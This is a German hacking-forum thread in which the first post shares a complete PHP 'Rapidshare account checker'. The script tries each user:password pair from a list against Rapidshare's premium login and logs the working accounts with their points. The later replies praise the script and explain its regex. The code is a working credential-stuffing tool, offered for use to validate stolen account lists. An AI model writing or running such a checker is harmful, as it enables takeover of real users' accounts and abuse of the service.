Ergebnis 1 bis 5 von 5
  1. #1
    Tsutomu Shimomura Avatar von -=Player=-
    Registriert seit
    15.02.2006
    Beiträge
    1.549

    Standard RS Account Checker

    copyright by babyrusher

    Code:
    <?
    
       print "\n===========================================\n";
    
       print "==  Rapidshare.com account list checker  ==\n";
    
       print "==  help:                                ==\n";
    
       print "==  php checker.php pw:userfile savefile ==\n";
    
       print "==  example:                             ==\n";
    
       print "==  php checker.php list.txt log.txt     ==\n";
    
       print "===========================================\n";
    
       print "==        copyright by babyrusher        ==\n";
    
       print "===========================================\n\n";
    
       
    
       // Curl function that connects to RS
    
       function curl_file_get_contents($url) {
    
          $ch = curl_init();
    
          curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
    
          curl_setopt($ch,CURLOPT_URL,$url); // the url of the site
    
          curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); //needed for ssl (httpS://)
    
          $ret = curl_exec($ch);
    
          curl_close($ch);
    
          return($ret);
    
       }
    
       
    
       $file = $argv[1]; // Argument for the list with the users
    
       $log = $argv[2]; // Argument for the list where the vaild accounts logged
    
       
    
       if($file == "" || $log == ""){ // check the two arguments
    
          print "* Please enter an userfile file and an savefile";
    
          exit;
    
       }
    
       
    
       $fp = fopen ($file, "r"); // opens the userlist
    
       $zeilen=count(file($file)); // counts the lines in the userfile
    
       
    
       for ($i="0";$i<$zeilen;$i++){ // loop
    
          $line = trim(fgets ($fp,100)); //trim and get the content of the line
    
          preg_match('%(.*):(.*)%', $line, $user); // regulary expression which saves the user and the password in the $user array
    
          
    
          $url = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi?login=".urlencode($user[1])."&password=".urlencode($user[2]); //the Rapidshare url
    
          $content = curl_file_get_contents($url); // calls the function and copy the source of $url
    
          
    
          if( preg_match('%Your Premium-Account is valid until%', $content) ){ // checks if the account is valid
    
             preg_match('%You have collected (.*)%', $content, $points); // regulary expression that find the points
    
             print("Valid !!! Points - USER: $user[1] PW: $user[2] ".$points[1]."\n"); // print the valid account
    
             $datei = fopen($log,"a+"); // opens the log file
    
             fwrite($datei, $user[1].":".$user[2]." - " .$points[1]. " Points\n",150); // write the valid account in the logfile
    
             fclose($datei); // close the log file
    
       
    
       
    
          }
    
          else{ // if the account is invalid
    
             print("Invalid !!! USER: $user[1] PW: $user[2] :\n");  // print the invalid account
    
          }
    
          
    
       }
    
       
    
       fclose ($fp); // close the userfile
    
       
    
       // greetz
    
       // (c) babyrusher
    
    ?>

  2. #2
    Sobig Wurm
    Registriert seit
    05.08.2008
    Beiträge
    221

    Standard

    n1 script

    ne frage, wen das script über die function curl_file_get_contents mit RS verbunden ist. dan nimmt er z.b. die variable $points von RS? und wie findet man den dan die variable raus?


  3. #3
    Anfänger
    Registriert seit
    18.11.2007
    Beiträge
    13

    Standard

    die var $points holte er mit der funktion preg_match()
    Code:
    preg_match('%You have collected (.*)%', $content, $points); // regulary expression that find the points
    das is ein suchmuster und das ergebniss wir in der var $points gespeichert
    wenn du mehr wissen willst http://php.net/preg_match und/oder google -> regex

  4. #4
    Sobig Wurm
    Registriert seit
    05.08.2008
    Beiträge
    221

    Standard

    ich habs jetzt so verstanden, das im quelltext z.b. "You have collected 1000" steht.

    es wird dan einfach nach You have collected (.*) gesucht, und (.*) steht dan für den inhalt der dazwischen liegt? oder irre ich mich da?


  5. #5
    Anfänger
    Registriert seit
    18.11.2007
    Beiträge
    13

    Standard

    genau^^
    . steht für ein beliebiges zeichen und * keine oder beliebig viele vorkommnisse vom vorhergeheden zeichen
    wobei man eig noch ein ? dranhängen sollte um die "gier" zu unterdrücken

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •